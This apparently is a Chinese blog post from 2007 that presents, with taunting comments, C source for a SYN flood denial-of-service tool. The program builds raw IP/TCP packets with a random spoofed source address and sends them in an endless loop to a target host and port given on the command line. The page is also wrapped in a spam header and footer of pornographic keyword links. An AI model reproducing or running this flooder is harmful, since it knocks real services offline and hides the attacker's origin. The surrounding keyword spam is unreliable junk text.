青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

隨筆 - 298  文章 - 377  trackbacks - 0
<2016年4月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

常用鏈接

留言簿(34)

隨筆分類

隨筆檔案

文章檔案

相冊

收藏夾

搜索

  •  

最新評論

閱讀排行榜

評論排行榜

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int DESTPORT;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc != 3)
{
fprintf(stderr,"Usage:dos host port.\n");
exit(1);
}
DESTPORT = atoi(argv[2]);
printf("no is attacking host %s with port %d..\n",argv[1],DESTPORT);
//printf("ok started!\n");
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());

/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}

/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
int i;
struct tcphdr *tcp;
int head_len;

/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/

/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;


/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那里來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什么都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
posted on 2007-08-17 12:17 聶文龍 閱讀(1166) 評論(0)  編輯 收藏 引用 所屬分類: some hack imformation
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产精品亚洲网站| 国产精品美女在线| 久久综合图片| 国产精品亚洲精品| 久久国产精品网站| 欧美黄色aaaa| 久久久精彩视频| 国产欧美一区二区精品仙草咪 | 国产精品天美传媒入口| 精品成人国产在线观看男人呻吟| 亚洲自拍偷拍麻豆| 亚洲午夜av电影| 国产一区二区观看| 蜜桃av一区二区三区| 久久久av毛片精品| 欧美在线啊v| 99ri日韩精品视频| 亚洲图片在区色| 韩日成人在线| 欧美成人免费va影院高清| 欧美一区二区三区视频免费| 亚洲人成网站色ww在线| 亚洲视频中文字幕| 激情久久影院| 在线亚洲精品福利网址导航| 国产精品二区在线| 亚洲美女少妇无套啪啪呻吟| 欧美日一区二区在线观看| 久久视频在线视频| 欧美午夜视频一区二区| 午夜日韩激情| 欧美午夜电影在线| 欧美在线视频在线播放完整版免费观看| 久久精品国产亚洲5555| 91久久黄色| 久久国产精品电影| 欧美亚洲免费电影| 欧美www视频在线观看| 国产一级一区二区| 久久精品一本| 欧美日韩色综合| 一区二区av在线| 欧美中文字幕| 欧美激情一区二区三区四区 | 国产一区二区三区久久悠悠色av | 久久久久se| 欧美日韩卡一卡二| 国产一区二区三区的电影| 国产精品久久久久三级| 欧美亚洲在线| 欧美精品亚洲一区二区在线播放| 欧美高清在线一区二区| 久久天天躁狠狠躁夜夜爽蜜月| 欧美gay视频| 亚洲欧美在线x视频| 亚洲欧洲在线一区| 一区视频在线播放| 国产亚洲精品一区二555| 欧美区亚洲区| 裸体丰满少妇做受久久99精品 | 亚洲欧美www| 亚洲国产午夜| 国产日韩欧美电影在线观看| 欧美激情亚洲自拍| 欧美xxxx在线观看| 久久久久免费视频| 欧美在线观看视频一区二区三区 | 亚洲欧美日韩久久精品| 99视频精品| 亚洲视频免费在线| 午夜精品久久久久影视| 亚洲电影免费观看高清完整版在线 | 欧美高清视频在线| 久久久久亚洲综合| 欧美在线综合视频| 久久不射网站| 国产日韩精品入口| 亚洲黄色有码视频| 久久久九九九九| 久久青草久久| 亚洲国产精品ⅴa在线观看| 久久综合九色综合网站| 久久综合久久久| 国产精品手机在线| 欧美jizz19hd性欧美| 国产精品久久国产精品99gif| 亚洲第一天堂av| 久久伊人精品天天| 免费在线观看精品| 亚洲三级性片| 亚洲另类自拍| 一区二区三区波多野结衣在线观看| 国产亚洲欧美一区二区| 午夜亚洲影视| 中文国产一区| 亚洲国产精品电影| 久久精品欧美日韩| 一区二区三区高清不卡| 亚洲男女自偷自拍图片另类| 亚洲欧洲一区二区在线观看| 久久久精品国产一区二区三区 | 亚洲三级视频| 欧美性做爰毛片| 亚洲成人资源| 亚洲韩国精品一区| 久久综合影音| 欧美私人啪啪vps| 亚洲老司机av| 亚洲一品av免费观看| 欧美丝袜一区二区三区| 亚洲美女在线看| 中文一区字幕| 国产美女精品一区二区三区| 亚洲免费人成在线视频观看| 久久黄色影院| 亚洲精品久久久久中文字幕欢迎你| 欧美日韩1234| 99精品热视频| 久久九九热免费视频| 好看的日韩视频| 久久午夜精品一区二区| 欧美电影在线观看| 亚洲人在线视频| 欧美三级午夜理伦三级中视频| 亚洲精品日韩在线观看| 亚洲欧美另类久久久精品2019| 国产精品一区二区三区久久久| 香蕉亚洲视频| 最新中文字幕亚洲| 香蕉成人久久| 亚洲黄色影片| 欧美视频中文一区二区三区在线观看 | 在线成人黄色| 欧美日韩天堂| 香港久久久电影| 亚洲成人在线网| 欧美片在线播放| 香蕉久久夜色精品| 欧美福利视频网站| 亚洲欧美伊人| 亚洲韩国青草视频| 亚洲一区二区三区四区视频| 久久一区二区三区四区| aa级大片欧美| 国产综合欧美在线看| 欧美日本一区二区三区| 亚洲一区二区免费视频| 亚洲大片在线| 久久成人综合视频| 日韩亚洲欧美成人一区| 国产午夜一区二区三区| 欧美日产国产成人免费图片| 欧美在线在线| 一区二区三区回区在观看免费视频| 欧美在线啊v一区| 日韩午夜在线| 1024亚洲| 国产主播一区二区三区四区| 亚洲国产日韩精品| 久久美女性网| 欧美一级片一区| 亚洲性图久久| 日韩写真在线| 亚洲日韩欧美一区二区在线| 国产曰批免费观看久久久| 欧美色中文字幕| 欧美日韩大片| 欧美 日韩 国产一区二区在线视频| 久久国产精品黑丝| 亚洲自拍偷拍麻豆| 国产精品99久久久久久久女警 | 欧美日韩一区三区四区| 欧美成人一区二免费视频软件| 欧美在线观看网站| 亚洲一区二区三区成人在线视频精品| 亚洲第一区在线观看| 国产情侣久久| 国产午夜精品一区二区三区视频| 国产精品久久久久国产精品日日| 欧美日韩国产影院| 欧美精品国产精品| 欧美日本网站| 欧美三级网址| 国产日韩欧美精品| 久久精品盗摄| 亚洲精品在线一区二区| 日韩一区二区免费看| 亚洲精品之草原avav久久| 亚洲每日在线| 国产精品地址| 国产毛片久久| 在线观看日韩www视频免费| 国内自拍一区| 亚洲高清精品中出| 亚洲国产毛片完整版| 亚洲美女在线观看| av成人动漫| 亚洲尤物视频网| 亚洲男人的天堂在线观看| 欧美一区二区高清|